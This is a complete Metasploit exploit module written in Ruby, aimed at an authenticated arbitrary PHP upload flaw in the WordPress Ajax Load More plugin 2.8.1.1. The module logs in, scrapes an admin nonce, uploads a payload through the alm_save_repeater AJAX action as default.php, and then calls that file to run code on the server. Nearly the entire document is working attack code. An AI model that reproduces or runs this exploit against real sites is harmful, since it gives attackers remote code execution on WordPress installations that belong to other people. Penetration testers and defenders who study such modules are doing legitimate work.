Wordpress Ajax Load More PHP Upload Vulnerability

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Wordpress Ajax Load More PHP Upload Vulnerability',
        'Description' => %q{
          This module exploits an arbitrary file upload in the WordPress Ajax Load More
          version 2.8.1.1. It allows to upload arbitrary php files and get remote code
          execution. This module has been tested successfully on WordPress Ajax Load More
          2.8.0 with Wordpress 4.1.3 on Ubuntu 12.04/14.04 Server.
        },
        'Author' => [
          'PizzaHatHacker', # Vulnerability Discovery
          'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2015-10140'],
          ['WPVDB', '8209']
        ],
        'Privileged' => false,
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [['Ajax Load More 2.8.1.1', {}]],
        'DisclosureDate' => '2015-10-10',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('WP_USERNAME', [true, 'A valid username', nil]),
        OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil])
      ], self.class
    )
  end

  def check
    check_plugin_version_from_readme('ajax-load-more', '2.8.1.2')
  end

  def username
    datastore['WP_USERNAME']
  end

  def password
    datastore['WP_PASSWORD']
  end

  def get_nonce(cookie)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(wordpress_url_backend, 'admin.php'),
      'vars_get' => {
        'page' => 'ajax-load-more-repeaters'
      },
      'cookie' => cookie
    )

    if res && res.body && res.body =~ /php","alm_admin_nonce":"([a-z0-9]+)"}/
      return Regexp.last_match[1]
    else
      return nil
    end
  end

  def exploit
    vprint_status("Trying to login as #{username}")
    cookie = wordpress_login(username, password)
    fail_with(Failure::NoAccess, "#{peer} - Unable to login as: #{username}") if cookie.nil?
    store_valid_credential(user: username, private: password, proof: cookie)

    vprint_status("Trying to get nonce")
    nonce = get_nonce(cookie)
    fail_with(Failure::Unknown, "#{peer} - Unable to get nonce") if nonce.nil?

    vprint_status("Trying to upload payload")

    # This must be default.php
    filename = 'default.php'

    print_status("Uploading payload")
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(wordpress_url_backend, 'admin-ajax.php'),
      'vars_post' => {
        'action' => 'alm_save_repeater',
        'value' => payload.encoded,
        'repeater' => 'default',
        'type' => 'default',
        'alias' => '',
        'nonce' => nonce
      },
      'cookie' => cookie
    )

    if res
      if res.code == 200 && res.body.include?('Template Saved Successfully')
        register_files_for_cleanup(filename)
      else
        fail_with(Failure::Unknown, "#{peer} - You do not have sufficient permissions to access this page.")
      end
    else
      fail_with(Failure::Unknown, 'Server did not respond in an expected way')
    end

    print_status("Calling uploaded file")
    send_request_cgi(
      'uri' => normalize_uri(wordpress_url_plugins, 'ajax-load-more', 'core', 'repeater', filename)
    )
  end
end